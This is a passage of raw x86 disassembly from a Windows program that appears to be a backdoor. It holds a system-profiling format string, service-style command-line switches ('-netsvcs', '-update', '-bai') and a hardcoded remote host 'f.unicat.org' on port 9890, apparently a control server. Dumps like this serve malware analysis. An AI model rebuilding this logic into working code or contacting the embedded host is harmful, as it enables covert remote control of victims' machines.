mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017FD
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_406850 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406B60 proc near ; CODE XREF: sub_40168Bj
mov eax, [ecx+9]
retn
sub_406B60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406B80 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_406B80
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_406B80 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BF0 proc near ; CODE XREF: sub_4015E6j
mov eax, ecx
mov dword ptr [eax], offset off_43F008
mov dword ptr [eax+110h], 0
retn
sub_406BF0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406C20: ; CODE XREF: ___:00401FAAj
push esi
mov esi, ecx
call sub_401447
test byte ptr [esp+8], 1
jz short loc_406C38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C38: ; CODE XREF: ___:00406C2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C50 proc near ; CODE XREF: sub_401447j
mov dword ptr [ecx], offset off_43F008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C67
push ecx
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
locret_406C67: ; CODE XREF: sub_406C50+Ej
retn
sub_406C50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C80 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C80
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406CB1
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406CB1: ; CODE XREF: sub_406C80+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_437AEA
sub_406C80 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_511B00
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_444600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp ; strtok
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D62: ; CODE XREF: ___:00406D74j
push offset asc_444600 ; " "
push 0
call ebp ; strtok
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D62
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F68
lea ebp, [esp+58h]
loc_406D88: ; CODE XREF: ___:00406F60j
mov edi, [ebp+0]
mov esi, offset dword_4447EC
mov eax, edi
loc_406D92: ; CODE XREF: ___:00406DB0j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DB6
test cl, cl
jz short loc_406DB2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DB6
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D92
loc_406DB2: ; CODE XREF: ___:00406D9Cj
xor eax, eax
jmp short loc_406DBB
; ---------------------------------------------------------------------------
loc_406DB6: ; CODE XREF: ___:00406D98j
; ___:00406DA6j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DBB: ; CODE XREF: ___:00406DB4j
test eax, eax
jz loc_406F58
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406DCA: ; CODE XREF: ___:00406DE8j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DEE
test cl, cl
jz short loc_406DEA
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DEE
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DCA
loc_406DEA: ; CODE XREF: ___:00406DD4j
xor eax, eax
jmp short loc_406DF3
; ---------------------------------------------------------------------------
loc_406DEE: ; CODE XREF: ___:00406DD0j
; ___:00406DDEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DF3: ; CODE XREF: ___:00406DECj
test eax, eax
jnz short loc_406E00
mov byte ptr [ebx+9], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E00: ; CODE XREF: ___:00406DF5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406E07: ; CODE XREF: ___:00406E25j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E2B
test cl, cl
jz short loc_406E27
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E2B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E07
loc_406E27: ; CODE XREF: ___:00406E11j
xor eax, eax
jmp short loc_406E30
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: ___:00406E0Dj
; ___:00406E1Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E30: ; CODE XREF: ___:00406E29j
test eax, eax
jnz short loc_406E3D
mov byte ptr [ebx+0Ah], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E3D: ; CODE XREF: ___:00406E32j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406E44: ; CODE XREF: ___:00406E62j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E68
test cl, cl
jz short loc_406E64
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E68
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E44
loc_406E64: ; CODE XREF: ___:00406E4Ej
xor eax, eax
jmp short loc_406E6D
; ---------------------------------------------------------------------------
loc_406E68: ; CODE XREF: ___:00406E4Aj
; ___:00406E58j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E6D: ; CODE XREF: ___:00406E66j
test eax, eax
jnz loc_406F58
lea ecx, [esp+10h]
call sub_40142E
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406F44
push eax
lea ecx, [esp+14h]
call sub_4015E1
push 1
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406F44
push 1
push offset asc_444600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_40168B
push eax
lea eax, [ebx+0Ch]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406F44: ; CODE XREF: ___:00406EA1j
; ___:00406EF1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F58: ; CODE XREF: ___:00406DBDj
; ___:00406DFBj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D88
xor ecx, ecx
loc_406F68: ; CODE XREF: ___:00406D7Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F75
mov [ebx+5], ecx
loc_406F75: ; CODE XREF: ___:00406F70j
cmp [ebx+5], ecx
jnz short loc_406F85
test al, al
jz short loc_406F85
mov dword ptr [ebx+5], 0Ah
loc_406F85: ; CODE XREF: ___:00406F78j
; ___:00406F7Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
byte_406FB0 db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407080 proc near ; CODE XREF: sub_4020BDj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407080
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_40156E
sub_407080 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43F00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407100 proc near ; CODE XREF: sub_40159Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015E1
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014EC
sub_407100 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407140 proc near ; CODE XREF: sub_401B04j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AD7
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40162C
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jz short loc_4071BB
mov edi, [esp+10h+arg_0]
loc_407183: ; CODE XREF: sub_407140+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_401749
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_4071C5
call sub_401F28
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jnz short loc_407183
loc_4071BB: ; CODE XREF: sub_407140+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_4071C5: ; CODE XREF: sub_407140+5Aj
call sub_401749
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_407140 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407210 proc near ; CODE XREF: sub_40221Bj
xor al, al
retn 4
sub_407210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407230 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_407230 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407270 proc near ; CODE XREF: sub_40162Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4021A8
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_407270 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072B0 proc near ; CODE XREF: sub_4021DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_4072B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4072E0 proc near ; CODE XREF: sub_4014ECj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021DF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_4072E0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407320 proc near ; CODE XREF: sub_401AD7j
push esi
mov esi, ecx
call sub_401B77
mov eax, esi
pop esi
retn
sub_407320 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_401749j
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_407340 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407360 proc near ; CODE XREF: sub_401F28j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407360 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407390 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FBE
neg al
sbb eax, eax
inc eax
retn 4
sub_407390 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4073C0 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C9E
mov edi, eax
push edi
call sub_401C6C
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_4073C0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C6C
push edi
mov [eax], ebx
call sub_401C6C
mov edi, [eax]
push edi
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_40167C
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407460 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019D8
sub_407460 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407475
mov edi, esi
loc_407475: ; CODE XREF: ___:00407471j
push esi
call sub_401A96
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40748A
mov edi, esi
loc_40748A: ; CODE XREF: ___:00407486j
push esi
call sub_401C6C
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074B0 proc near ; CODE XREF: sub_401A96j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_4074B0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074D0 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4074D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401B77j
mov eax, ecx
retn
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407510 proc near ; CODE XREF: sub_4021A8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_407510 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407540 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_407540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407590 proc near ; CODE XREF: sub_4019D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_407590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_40167Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075F0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075F0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_401C9Ej
mov eax, [ecx]
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407630 proc near ; CODE XREF: sub_401D2Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40763A
xor eax, eax
loc_40763A: ; CODE XREF: sub_407630+6j
push eax
call sub_437AEA
sub_407630 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407660 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40767B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40767B: ; CODE XREF: sub_407660+11j
retn
sub_407660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407690 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076B0 proc near ; CODE XREF: sub_401B40j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076B0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017EE
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_44ACD6
call sub_401B72
sub_4076B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407740 proc near ; CODE XREF: sub_401CD5j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407740
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017EE
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_44ACD6
call sub_401B72
sub_407740 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4077E0 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4077E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_2C4]
call sub_40142E
lea ecx, [esp+35Ch+var_2DC]
mov [esp+35Ch+var_4], 0
call sub_40142E
lea ecx, [esp+35Ch+var_174]
mov byte ptr [esp+35Ch+var_4], 1
call sub_40142E
lea ecx, [esp+35Ch+var_1A4]
mov byte ptr [esp+35Ch+var_4], 2
call sub_40142E
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 3
call sub_40142E
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 4
call sub_40142E
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 5
call sub_40142E
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 6
call sub_40142E
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 7
call sub_40142E
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_40142E
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_40142E
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_40142E
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_40142E
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_40142E
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_40142E
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_40142E
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_40142E
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_40142E
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_40142E
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_18C]
call sub_40142E
lea ecx, [esp+35Ch+var_144]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_40142E
lea ecx, [esp+35Ch+var_1BC]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_40142E
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_40142E
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_40142E
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_40142E
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_40142E
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_40142E
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_40142E
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_40142E
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_40142E
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_40142E
mov ebx, 1Eh
push offset aF_unicat_org ; "f.unicat.org"
lea ecx, [esp+360h+var_2C4]
mov byte ptr [esp+360h+var_4], bl
call sub_401A9B
push offset a9890 ; "9890"
lea ecx, [esp+360h+var_2DC]
call sub_401A9B
push offset byte_448F30
lea ecx, [esp+360h+var_144]
call sub_401A9B
lea eax, [esp+35Ch+var_2C4]
lea ecx, [esp+35Ch+var_174]
push eax
call sub_40202C
lea ecx, [esp+35Ch+var_2DC]
push ecx
lea ecx, [esp+360h+var_1A4]
call sub_40202C
push offset byte_448F30
lea ecx, [esp+360h+var_1BC]
call sub_401A9B
push offset dword_44486C
